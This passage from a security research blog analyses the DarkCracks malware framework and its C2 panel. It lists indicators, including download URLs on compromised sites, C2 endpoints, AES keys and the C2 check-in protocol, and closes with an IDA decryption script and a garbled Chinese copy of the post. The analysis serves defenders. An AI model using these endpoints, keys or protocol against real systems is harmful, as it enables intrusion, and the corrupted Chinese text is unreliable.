Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <ol start="2"> If crontab is unavailable and the current user is a regular user, persistence is achieved through <code>.bash_profile</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_bash.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <ol start="3"> If crontab is unavailable and the current user is root, persistence is achieved through <code>/etc/init.d/rnd</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_initd.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h3 id="0x04-downloading-the-encrypted-client">0x04: Downloading the Encrypted Client</h3> The Runner attempts to download the encrypted Client by iterating through three different types of URLs. If any of them succeed, the loop exits; otherwise, it waits 6 to 18 hours before trying again. We refer to this as the three-layer URL task polling.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_3try.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> clienturl: Direct mode. Simply concatenate the CPU architecture string of the sample to get the Client’s download address. emurl and dgaurl: Indirect mode. They first download the page pointed to by the URL, locate the backup configuration using the <code>seed_string</code>, then decrypt it to obtain the new <code>clienturl</code>. This forms a redundant structure where the first layer (clienturl) typically points to compromised sites, which are unstable and may be cleaned up. The second layer (emurl) points to third-party content hosting platforms, which are more stable but still carry a risk of being banned. The final layer (dgaurl) is generated monthly as a last resort. <h4 id="emurl">EmUrl</h4> The process for handling <code>clienturl</code> is straightforward, so let’s focus on <code>emurl</code> and <code>dgaurl</code>. For example, the <code>emurl</code> in the <code>qoakeifm-unknown</code> configuration file (<code>https://raw.githubusercontent.com/adrhpbrn29/sudoku1/main/main.cpp</code>) contains the following backup configuration in the <code>seed_string</code> variable. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_seed.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> After decrypting the <code>seed_string</code>, the Runner re-enters direct download mode upon obtaining the <code>clienturl</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_emurl.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> The <code>sudoku1</code> project was created on July 11, 2023, at 17:08:29, with the first record containing <code>seed_string</code> submitted at 17:24:02. Currently, there are six submission records. <table> <thead>

<tr> <th>Commit</th> <th>Date</th> <th>authHeader</th> </tr> </thead> <tbody> <tr> <td>e1e10dc</td> <td>2024.03.28</td> <td>LJHRQWE</td> </tr> <tr> <td>abb67fc</td> <td>2024.03.13</td> <td>LJHRQWE</td> </tr> <tr> <td>6392b06</td> <td>2023.12.27</td> <td>LJHRQWE</td> </tr> <tr> <td>c72963b</td> <td>2023.10.04</td> <td>SLDJKFA</td> </tr> <tr> <td>248c8a8</td> <td>2023.10.04</td> <td>Linux Max</td> </tr> <tr> <td>5970967</td> <td>2023.07.11</td> <td>Rbz021g6</td> </tr> </tbody> </table> Using <code>git diff</code>, we verified all submission records and found changes concentrated in the <code>seed_string</code> variable in <code>main.cpp</code>, from which we extracted six different <code>clienturl</code> and <code>C2url</code> (details in the IOC section under GitHub). <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_git.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> In the configuration file <code>j8UgL3v</code>, the <code>emurl</code> is <code>https://pastebin[.]com/raw/GYEBVyMR</code>. Besides providing the aforementioned <code>seed_string</code> (details can be found in the Pastebin section of the IOC), it also gives us another perspective: the IP statistics of visitors to this page. Currently, the number of unique IPs accessing this page is approaching 300. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_ips.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h4 id="dgaurl">DGAUrl</h4> The logic for handling <code>dgaurl</code> is similar to <code>emurl</code>, but the difference lies in their source. While <code>emurl</code> comes from the configuration file, <code>dgaurl</code> is algorithmically generated. The algorithm is simple: a domain is generated monthly by formatting the current “year&month” as “%d%02d”, encrypting it with the string encryption algorithm described earlier, and then appending it to “http://%s.com” to form the <code>dgaurl</code>. For example, the DGA domain generated for “202408” is <code>UVDFUgOAgjL.com</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_dga.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> We checked the <code>dgaurl</code> from 2023 to the present (details in the IOC section under DGA) and found that all domains are unregistered. This indicates that DarkCracks has remained well-hidden, with the <code>emurl</code> mechanism undetected by the security community, so much so that they haven’t felt the need to activate the final emergency measure. <h3 id="0x05-decrypting-and-executing-the-client">0x05: Decrypting and Executing the Client</h3> The Client is encrypted using AES CBC mode, with the decryption key and IV provided in the configuration file’s <code>key</code>. The <code>key</code> is a hex string where the first 16 bytes are the key and the last 16 bytes are the IV. The keys in the two captured configuration files are identical: <code>2D8C7FEE42D3DB4A8E55FBFF65351E1BB8ADDBA8FCBD0F85EE1CA5033D0DF342</code>. AES Key: 2D 8C 7F EE 42 D3 DB 4A 8E 55 FB FF 65 35 1E 1B AES IV: B8 AD DB A8 FC BD 0F 85 EE 1C A5 03 3D 0D F3 42 Once the Runner successfully decrypts the Client, it saves it in the <code>/tmp</code> directory, launches it using the <code>execl</code> function, and deletes itself. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_launch.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h2 id="part3-client-analysis">Part3: Client Analysis</h2> In this section, we'll focus on analyzing the <code>se3hf6jwc-x64</code> Client. Below are its basic details before and after decryption (interested readers can use the CyberChef script provided in the appendix to decrypt the Client). <pre><code>Name:se3hf6jwc-x64 MD5:81eccc9c10368aa54cfed371f83da45a MD5:fe5f484f71bf0fd7afa56e60da7eec6f (Decrypted) Magic:ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, stripped </code></pre> Upon analysis, we confirmed that the Client uses a similar architecture to the Runner, namely a "configuration file-driven + three-layer URL task polling" structure. However, unlike the Runner, which primarily polls the <code>clientUrl</code>, the Client's focus is on the C2 reporting endpoint specified in the <code>url</code> field of the configuration file. The Client encrypts and reports sensitive device information to the C2 server, which then sends back encrypted configurations that drive the execution of different tasks. Key tasks include: <ul> NewVersion: Download and update the Runner and Client. NewLauncherVersion: Download and update the Launcher. versionCheckerUrl: Update the C2 reporting endpoint. <h3 id="0x01-c2-communication">0x01: C2 Communication</h3> The Client constructs a JSON-formatted beacon with the following code snippet, encrypts it, and sends it as the HTTP body to the C2 server. The Client supports both HTTP and HTTPS. Notably, the <code>platform</code> field's value is formatted as <code>"arch/user(euid)/version"</code>, with the <code>version</code> obtained from <code>/proc/version</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_beacon.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> As seen in actual captured traffic, the body of the interaction is encrypted. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_packet.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> After decrypting the C2 response, we see that the Client receives a message with a <code>versionCheckerUrl</code> field. The Client then updates its C2 reporting endpoint and requests a new configuration file: <pre><code class="language-json">{ "versionCheckerUrl": "https:\\/\\/www.miracles.com.hk\\/wp-content\\/plugins\\/foxiplugin\\/detail.php", "authHeader": "Linux MaEW" } </code></pre> <h3 id="0x02-speculations-on-the-launcher-component">0x02: Speculations on the Launcher Component</h3> While we have not captured the Launcher component, we can infer the following details based on how the Client handles <code>NewLauncherVersion</code>: <ul> The Launcher is stored encrypted on a remote server, using AES encryption. The Launcher likely supports the same encryption algorithm as the Runner and Client. The Launcher is also driven by a configuration file, with core configurations stored at <code>/var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6</code>. <h3 id="0x03-evolution-of-the-client">0x03: Evolution of the Client</h3> We compared the 2.0 and 2.01 versions of the Client samples. The primary differences are whether sensitive strings are encrypted and whether the Client supports the DGA algorithm. These changes seem aimed at enhancing the Client's stealth and robustness. <table> <thead> <tr> <th>Version</th> <th>Encrypted String</th> <th>DGA Support</th> </tr> </thead> <tbody> <tr> <td>SUC 2.0</td> <td>N (x86/x64 Y)</td> <td>N (x86/x64 Y)</td> </tr> <tr> <td>SUC 2.01</td> <td>Y</td> <td>Y</td> </tr> </tbody> </table> Interestingly, even in SUC 2.0, the x86/64 architecture Client already supported sensitive string encryption and DGA features. This indicates that DarkCracks takes a cautious approach to feature upgrades, initially testing new features on select architectures before rolling them out to all architectures once they are fully functional and stable. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_client.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h2 id="part4-c2-panel-analysis">Part4: C2 Panel Analysis</h2> A user whose device was compromised provided us with the C2 Panel files. Below is the basic information about the file: <pre><code>MD5: 8103a187a710378020dbdee8ff213b5b MD5: 69ef27f8e69dbba222c3c33a53906d79 (Deobfuscate) Obfucation: Yes </code></pre> The file is heavily obfuscated, but it can be deobfuscated by gradually replacing <code>eval</code> with <code>print</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_code.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> The C2 Panel is implemented in PHP and consists of around 600 lines of code. Its functionality is relatively simple and can be summarized as handling requests from different sources based on a hardcoded configuration file, <code>tem9FG5.tmp</code>. It operates in two modes: management mode and business mode. Management Mode: This mode handles requests from the Bot Master. The C2 Panel performs operations like adding, deleting, modifying, and querying the configuration file based on the request. Business Mode: In this mode, the C2 Panel decides whether to log the Bot or respond to it based on the configuration file. <h4 id="request-source-identification">Request Source Identification</h4> The C2 Panel distinguishes the request source using the <code>authentication</code> field. If the field's value is <code>Statistics</code>, the request is from the Bot Master; otherwise, it's from a Bot. Another role of the <code>authentication</code> field is to verify whether the request is from a legitimate Bot. Each C2 Panel has a specific <code>authHeader</code> set during initialization, and the C2 only responds when the Bot's <code>authentication</code> matches the C2's <code>authHeader</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_condition.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h4 id="configuration-file-tem9fg5tmp">Configuration File (<code>tem9FG5.tmp</code>)</h4> The configuration file, <code>tem9FG5.tmp</code>, acts like a database, recording the Bot Master's settings and storing information about the Bots. To understand the format and fields supported by this configuration file, we generated a configuration file by sending two test requests to a test machine, simulating the initialization and Bot check-in.   Initialize the Configuration <pre><code class="language-json">
{"authentication":"Statistics","isActive":true,"authHeader":"XLab"} </code></pre>   Bot Check-in <pre><code class="language-json">{"authentication":"XLab","uuid":"fac60bdc-5786-415e-8992-79abcb132d64","platform":"x64 / root(0) / Linux","interval":8867000,"version":"SUC 2.01","launcherVersion":""} </code></pre>   The generated network traffic is as follows: <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_test.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> The C2 Panel on the test machine generated the following encrypted configuration in response to the above requests: <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_testconfig.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> Decrypting the configuration file is straightforward, requiring the use of <code>strrev(convert_uudecode($input))</code>. The decrypted plaintext matches our constructed requests, indicating that the configuration file is in JSON format. Bot-related information is stored in the <code>clients</code> field, while the <code>authHeader</code> is stored in the <code>config</code> field. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_config.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> Below is a description of the fields supported in the configuration file: <table> <thead> <tr> <th>Field</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>config</td> <td>C2 Status</td> </tr> <tr> <td>clients</td> <td>Bot info</td> </tr> <tr> <td>pendingChanges</td> <td>Config to be delivered</td> </tr> <tr> <td>sessions</td> <td>Command output from Bot</td> </tr> <tr> <td>sessionCommands</td> <td>Commands to be delivered</td> </tr> </tbody> </table> The Bot Master uses the <code>pendingChanges</code> and <code>sessionCommands</code> fields to deliver instructions to the Bot. The following code snippet illustrates how the C2 Panel checks the client's <code>uuid</code> to decide whether to issue the Launcher configuration. <img src="https://blog.xlab.qianxin.com/content/images/2024/09/smartupdate_pending.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> The configuration file provided by the victim mentioned a compromised site, <code>soussanart.com</code>. We sent a client query request to this site and obtained information about 76 clients, spread across 17 countries and involving 4 different versions, ranging from 1.2 to 2.02. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_json.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> This concludes our analysis of DarkCracks. Clearly, many puzzles remain unsolved, and we believe this is just the beginning of uncovering the full extent of this threat. <h2 id="part5-ftmqpwsmnb-analysis">Part5: ftMQPwsMnB Analysis</h2> On August 23, 2024, as we were wrapping up our previous analysis, we noticed that the user adrhpbrn29 had created a new project named <code>ftMQPwsMnB</code>. The project contains a single compressed file named <code>bzupdater.zip</code>, which includes three files: <code>config.ini</code>, <code>Updater.exe</code>, and <code>version.dll</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_newgit.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h3 id="0x01-initial-analysis">0x01: Initial Analysis</h3> A quick analysis

confirmed that <code>version.dll</code> is malicious. Its function is to use the AES algorithm to decrypt a binary resource, which ultimately yields a shellcode. This shellcode loads a payload that is an open-source remote control trojan, QuasarRAT. The AES key is <code>FCFF50FB13B09C44F806CF4947381718</code>, and the IV is <code>2DD695D6845AA9F83F0071B709D78CBD</code>. In addition to AES, XOR encryption is used to decrypt strings, with the XOR key being <code>quackquack</code>. Currently, the <code>ftMQPwsMnB</code> project has five commit records. Although the MD5 hash of <code>version.dll</code> varies with each commit, there are actually only three different core binaries. <table> <thead> <tr> <th>Commit</th> <th>MD5 of <code>version.dll</code></th> <th>MD5 of "Binary"</th> </tr> </thead> <tbody> <tr> <td>7ddc62e</td> <td>456d05566fc3391e195a5f9cb346c92c</td> <td>91bcbf4de7ff8bddebdc49b62cad1ac1</td> </tr> <tr> <td>ab75b85</td> <td>c2d69f5e5fa2af8131f1cb3d9fdfbd4b</td> <td>05481286a1aa1f0d7d9df7bbbb3aeb73</td> </tr> <tr> <td>ab6a892</td> <td>9e94126e8a26efd10b2a5b179d64be90</td> <td>05481286a1aa1f0d7d9df7bbbb3aeb73</td> </tr> <tr> <td>271b28c</td> <td>ceb7f3d9209689241 0e041a3b318ab9b</td> <td>05481286a1aa1f0d7d9df7bbbb3aeb73</td> </tr> <tr> <td>653eb26</td> <td>ca93591a9441a2ade70821f67292d982</td> <td>6176c8374cd656783c9b354944c8052e</td> </tr> </tbody> </table> <h3 id="0x02-quasarrat-payload">0x02: QuasarRAT Payload</h3> QuasarRAT is a well-known remote access Trojan (RAT), and there are numerous analyses available online for those interested. In this case, the configurations for the three shellcodes delivering QuasarRAT are nearly identical, differing mainly in the C2 server port. For example, the QuasarRAT delivered by the <code>ab75b85</code> commit has the following configuration: <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_ratjson.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> As of now, we haven't identified the exact distribution method for this project. However, the <code>config.ini</code> file references Bandisoft, a paid software, suggesting that one potential distribution method could be enticing users to download and install the software by offering a cracked version for free.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_bandfee.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h4 id="0x03-suspicious-pdf-file">0x03: Suspicious PDF File</h4> On August 26, the project received two additional commit records, adding a PDF file initially named <code>resume.pdf</code>. This file is password-protected, so we currently do not know its contents. About 50 minutes later, the file was renamed to the Korean title <code>김영미이력서.pdf</code>, which translates to "Kim Young-mi's resume." Resumes are common phishing lures, leading us to speculate that one of DarkCracks' targets might be Korean-speaking users. <table> <thead> <tr> <th>Date</th> <th>Commit</th> <th>Filename</th> <th>MD5</th> </tr> </thead> <tbody> <tr> <td>2024/08/26 09:19:32</td> <td>5130de3</td> <td>resume.pdf</td> <td>71ebe71eec7e0f2420cd931534dd22c3</td> </tr> <tr> <td>2024/08/26 10:09:27</td> <td>a04bf51</td> <td>김영미이력서.pdf</td> <td>71ebe71eec7e0f2420cd931534dd22c3</td> </tr> </tbody> </table> <h1 id="conclusion">Conclusion</h1> DarkCracks is a well-designed yet flexible payload delivery and upgrade framework with several outstanding advantages. For instance, its three-layer URL polling mechanism provides robust reliability, ensuring that payloads can be delivered even when some delivery methods fail. The framework’s use of encrypted delivery for multiple components, along with the self-deletion of these components after execution, effectively safeguards its core functionalities from detection. However, there are notable shortcomings. One significant vulnerability lies in its use of a reversible algorithm for delivering backup configurations via DGAUrl, which poses the risk of the entire network being hijacked. Additionally, the C2 Panel’s management mode is easily accessible; anyone familiar with the protocol can modify or even wipe the configuration file, potentially leading to the C2’s shutdown and network paralysis. We recommend that network administrators monitor the <code>/var/tmp/.shm</code> directory as described above to detect potential infections. Victims are encouraged to contact us for technical support. This is the extent of our current knowledge on DarkCracks. Our analysis is based on our perspective and is undoubtedly limited. We invite other industry experts with unique insights to contribute additional information, helping us refine the profile of DarkCracks. If you are interested in our research, you can also contact us via the X platform to obtain more detailed information. <h1 id="ioc">IOC</h1> <h2 id="md5">MD5</h2> <pre><code>Runner c30e9934299fd43527834086b6cfa26a *pQ1iM9hd-armv5-uclibc 8c53e98685fc3ce8b86055991b905926 *pQ1iM9hd-armv6-gnu 257c9ec1241b3fa59565edec9689276b *pQ1iM9hd-armv8-gnu 281e4ede8ffc0f854ce671b5b3ae06f8 *pQ1iM9hd-mips-uclibc 21732589b41506e1e7de87d7066ea43e *pQ1iM9hd-mipsel-uclibc 93a7cba1edbacb633021ebc38c10a79f *pQ1iM9hd-x64 036d6c73fe7a568160f3de8a98d0a58b *pQ1iM9hd-x64-musl 5340ee724893fd596852f22ecbc3e795 *pQ1iM9hd-x86 c6909b8b8bc55fac85c5fe650c7df42a *wk8dnj2k-armv5-uclibc 227d19736af70bef817da96668994af8 *wk8dnj2k-armv6-gnu a189571968 42c78cbce2247d766712ad *wk8dnj2k-armv8-gnu 0dd9e350aafe0d1c9e619d27ebd2ccfd *wk8dnj2k-mips-uclibc 8859d9b1c3f41b9dad3cee68adaddd92 *wk8dnj2k-mipsel-uclibc 93a7cba1edbacb633021ebc38c10a79f *wk8dnj2k-x64 e587cd53059f58526be7e2167cf7177b *wk8dnj2k-x64-musl 5340ee724893fd596852f22ecbc3e795 *wk8dnj2k-x86 Client af93dc3d635ed3b46439e38fae8ecf6b *mY5bJK7e-armv5-uclibc b0f7df80d2adda176f8d58a55b773eed *mY5bJK7e-armv5-uclibc.decrypted 7d6ea278b5ae9081c03e340d6f98a4a5 *mY5bJK7e-armv6-gnu 635a7ae54cb7966d61e2e8f64391e870 *mY5bJK7e-armv6-gnu.decrypted c1d07c102e436284d3fbce0410658ae8 *mY5bJK7e-armv8-gnu 11d4db491fe82e37ff0a5c3787cfa143 *mY5bJK7e-armv8-gnu.decrypted 4e64816a821ce2eb231a5be5395a2f20 *mY5bJK7e-mips-uclibc 2e7d67a3be72c5d1718fc2689c0d5d08 *mY5bJK7e-mips-uclibc.decrypted 5e9bf8a980bcc4d004ff505778b843e6 *mY5bJK7e-mipsel-uclibc 527cc24f043c58101c122c2a2f6c6d8e *mY5bJK7e-mipsel-uclibc.decrypted 5b39497af0d9874d38288476d3a9f5a4 *mY5bJK7e-x64 dffee792a8e65d38d897bd3400aecd3d *mY5bJK7e-x64.decrypted 7515282b084374d9d8b87e46b87e4af8 *mY5bJK7e-x64-musl ee0d3c3c528034fa3ebdc37596014382 *mY5bJK7e-x64-musl.decrypted d41c379725973e97ef9cbafb1efdb2f3 *mY5bJK7e-x86 1d407ff91ce19afc82f7946c3ec24dea *mY5bJK7e-x86.decrypted a1f3e574799c3f874a8d3563dbc55f4c *se3hf6jwc-armv5-uclibc ad831d9c00c90fead925f4575f4a6a9a *se3hf6jwc-armv5-uclibc.decrypted 2b5df28714421d79ab3e63eac538d853 *se3hf6jwc-armv6-gnu 2107625e9980d190e3214ef09a83608f *se3hf6jwc-armv6-gnu.decrypted 35f846e24d0cccb5a3ec736c07f6a0a2 *se3hf6jwc-armv8-gnu 5fbe460fc8fa09dc6adc73e5e908cd0e *se3hf6jwc-armv8-gnu.decrypted 27f18a27942fbb71c4e84736db45b5cf *se3hf6jwc-mips-uclibc e1674821a190f5250e6aba40916c9061 *se3hf6jwc-mips-uclibc.decrypted b1040f3193d4bec01b13bc73ecaa2587 *se3hf6jwc-mipsel-uclibc 7c33c052c5d451ba4069639286dfc4b5 *se3hf6jwc-mipsel-uclibc.decrypted 81eccc9c10368aa54cfed371f83da45a *se3hf6jwc-x64 fe5f484f71bf0fd7afa56e60da7eec6f *se3hf6jwc-x64.decrypted 08169e20daaad052075bd4026c8e287f *se3hf6jwc-x64-musl 2caf09452e79390f09bebf27dad9acf4 *se3hf6jwc-x64-musl.decrypted 5421bc92f2dd8f37538c2023c1e2f8ee *se3hf6jwc-x86 7168f47f067d260c34543e32a7a55cbd *se3hf6jwc-x86.decrypted Config 4e52426a96baf84431775adf2d6f0ae2 *j8UgL3v 4a642a86a8d8e71e5f163fa54eda9241 *qoakeifm-unknown.txt </code></pre> <h2 id="downloader">Downloader</h2> <pre><code>https://www.auntyaliceschool.site/wp-admin/maint/{se3hf6jwc|wk8dnj2k}
http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/{mY5bJK7e|pQ1iM9hd}
http://45.169.87.67/vendor/sabre/event/lib/Promise/{se3hf6jwc|wk8dnj2k} </code></pre> <h2 id="c2-victims">C2 (Victims)</h2> <pre><code>http://187.190.1.137/vendor/guzzlehttp/guzzle/src/Exception/detail.php
http://204.199.192.44/vendor/paragonie/sodium_compat/src/Core32/Poly25519.php
http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://158.177.2.191/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://64.227.0.146/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://216.238.103.62:8013/vendor/guzzlehttp/guzzle/src/Exception/DNSException.php
http://52.0.85.62/vendor/guzzlehttp/guzzle/src/Exception/detail.php https://www.miracles.com.hk/wp-content/plugins/foxiplugin/detail.php
http://152.67.11.54/wordpress//wp-admin/includes/sus.php </code></pre> <h2 id="dga-c2">DGA C2</h2> <h3 id="202301-202312">202301-202312</h3> <pre><code> kTD7YgOAgjL.com gTD7YgOAgjL.com sTD7YgOAgjL.com EVD7YgOAgjL.com AVD7YgOAgjL.com MVD7YgOAgjL.com IVD7YgOAgjL.com UVD7YgOAgjL.com QVD7YgOAgjL.com YTC7YgOAgjL.com kTC7YgOAgjL.com gTC7YgOAgjL.com </code></pre> <h3 id="202401202408">202401- 202408</h3> <pre><code> kTDFUgOAgjL.com gTDFUgOAgjL.com sTDFUgOAgjL.com EVDFUgOAgjL.com AVDFUgOAgjL.com MVDFUgOAgjL.com IVDFUgOAgjL.com UVDFUgOAgjL.com </code></pre> <h2 id="c2">C2</h2> <pre><code> 216.74.123.97 United States|California|Los Angeles AS834|IPXO LLC 213.139.233.163 Japan|Osaka|Osaka AS34985|ASN block not managed by the RIPE NCC </code></pre> <h2 id="configs">Configs</h2> <h3 id="github">Github</h3> <pre><code>Address: https://github[.]com/adrhpbrn29/sudoku1
{"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php","authHeader":"LJHRQW
{"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php","authHeader":"LJHRQW
admin/maint/se3hf6jwc","runnerUrl":"https://www.auntyaliceschool.site/wp-admin/maint/wk8dnj2k"}
{"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php","authHeader":"LJHRQW
{"url":"http://158.177.2.191/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php","authHeader":"SLDJK
{"url":"http://64.227.0.146/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php","authHeader":"Linux Max"}'
{"url":"http://216.238.103.62:8013/vendor/guzzlehttp/guzzle/src/Exception/DNSException.php","authHeader":"Rb
</code></pre> <h3 id="pastebin">Pastebin</h3> <pre><code>Address:https://pastebin[.]com/GYEBVyMR
{"url":"http://52.0.85.62/vendor/guzzlehttp/guzzle/src/Exception/detail.php","authHeader":"GGSEDPHP",&q
</code></pre> <h2 id="appendix">Appendix</h2> <h3 id="ida-script">IDA Script</h3> <pre><code># Install flare_emu first # Only test with 93a7cba1edbacb633021ebc38c10a79f # Modify 'decstr_addr' in in your case import flare_emu import base64 import string def decode(cipher): tmp = cipher[::-1] + b"=" * ((4 - len(cipher) % 4)) out = bytearray() for i, v in enumerate(base64.urlsafe_b64decode(tmp)): cha = v ^ key[i % len(key)] if chr(cha) in string.ascii_letters: cha ^= 0x20 out.append(cha) out += b"=" * ((4 - len(out) % 4) % 4) return base64.urlsafe_b64decode(out) def iterateCallback(eh, address, argv, userData): ro=ida_segment.get_segm_by_name(".rodata") if ro.start_ea <= argv[0] <=ro.end_ea: buff=eh.getEmuString(argv[0]) if len(buff)>0: plain=decode(buff) print(hex(argv[0]),buff,"<==============>",plain) ida_bytes.put_bytes(argv[0],b'\x00'*len(buff)) ida_bytes.put_bytes(argv[0],plain) decstr_addr=0x0000FCD0 key=bytes.fromhex('43 72 61 63 6B 61 6C 61 63 6B 69 6E 27') eh=flare_emu.EmuHelper() eh.iterate(decstr_addr,iterateCallback) </code></pre> <h3 id="cyberchef">CyberChef</h3> <pre>
<code>https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'2D%208C%207F%20EE%204
</code></pre>]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[DarkCracks, 一个利用被黑GLPI, WORDPRESS站点充当中转的高级恶意载荷&升级框架]]>
</title>
<description>
<![CDATA[<h1 id="%E6%91%98%E8%A6%81">摘要</h1>
我们的XLab大网威胁感知系统最近捕获了一&#x0检测,
高持续、高隐匿、高完善升级设计、并利
 ]]>

</description>
<link>https://blog.xlab.qianxin.com/uncovering_darkcracks_payload_delivery_framework_cn/</link>
<guid isPermaLink="false">669f9a1da846010001f6ec10</guid>
<category>
<![CDATA[Botnet]]>
</category>
<category>
<![CDATA[DGA]]>
</category>
<category>
<![CDATA[CN]]>
</category>
<category>
<![CDATA[Backdoor]]>
</category>
<dc:creator>
<![CDATA[Alex.Turing]]>
</dc:creator>
<pubDate>Sat, 31 Aug 2024 11:38:00 GMT</pubDate>
<media:content url="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_brief.webp" medium="image"/>
<content:encoded>
<![CDATA[<h1 id="%E6%91%98%E8%A6%81">摘要</h1> <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_brief.webp" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
我们的XLab大网威胁感知系统最近捕获了一
0检测,
高持续、高隐匿、高完善升级设计、并&#x5229
 从我们的数据来看&#x FF0C;这个我们命名为
DarkCracks的恶意程序设计精良，背后的攻&#x5

不过在8月26日，我们看到在该项目的开发&
<code>김영미 이력서 (Kim Young-mi's resume)
</code>，考虑到这是一个较为常见的韩文名字
 DarkCracks利用被黑的GLPI, WORDPRESS站点充当Downloader &
C2，收集被入侵设备敏感信息，维持被入&#x4F
不同国家的
学校网站，公交系统，甚至监狱访客&#x7CFB
等公众服务系统都是被害对象。 <h1
id="%E5%8F%91%E7%8E%B0%E4%B9%8B%E6%97%85">发现之旅</h1> 2024年6月5日，
<code>XLab大网威胁感知系统
</code>对ELF文件8b3d2b156424e5a0dc3f6d2b0dec96b2的网络流量发出
ELF_Downloader告警，该流量为HTTP类型，下载路&#x5
<code>/vendor/sabre/event/lib/Promise/wk8dnj2k-x64-
musl</code>，路径层级非常深，高度疑似被黑，&#x8
45.169.87.67被黑客入侵，攻击面为该IP上运行
GLPI系统。<code>wk8dnj2k-x64-
musl</code>是一个Runner，它的功能是解密参数指定&#x768
clientUrl字段指定的Client；而Client的功能则是上&
0检测
，它们已在安全产商的眼皮底下
偷摸活动超过一年时间。
2024年6月12日，另一个下载脚本f8a495a98c43b0805f53be14db09c409进&#x51
<code>/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl</code>。该文件与上述的wk8dnj2k-
x64-musl高度相似；同样下载服务器
179.191.68.85也提供GLPI服务。
<code>“相似的文件,不同的文件名，托管在不
</code>
这一异常现象很明显的说明在野存在未&#x77E5
<code>样本，配置文件，C2，攻击目标
</code>等方面都有所发现。
多个被攻陷的系统背后的主机隶属于不&#x5
关键基础设施，如
<code>学校网站，公交系统，监狱访客系统
</code>等。
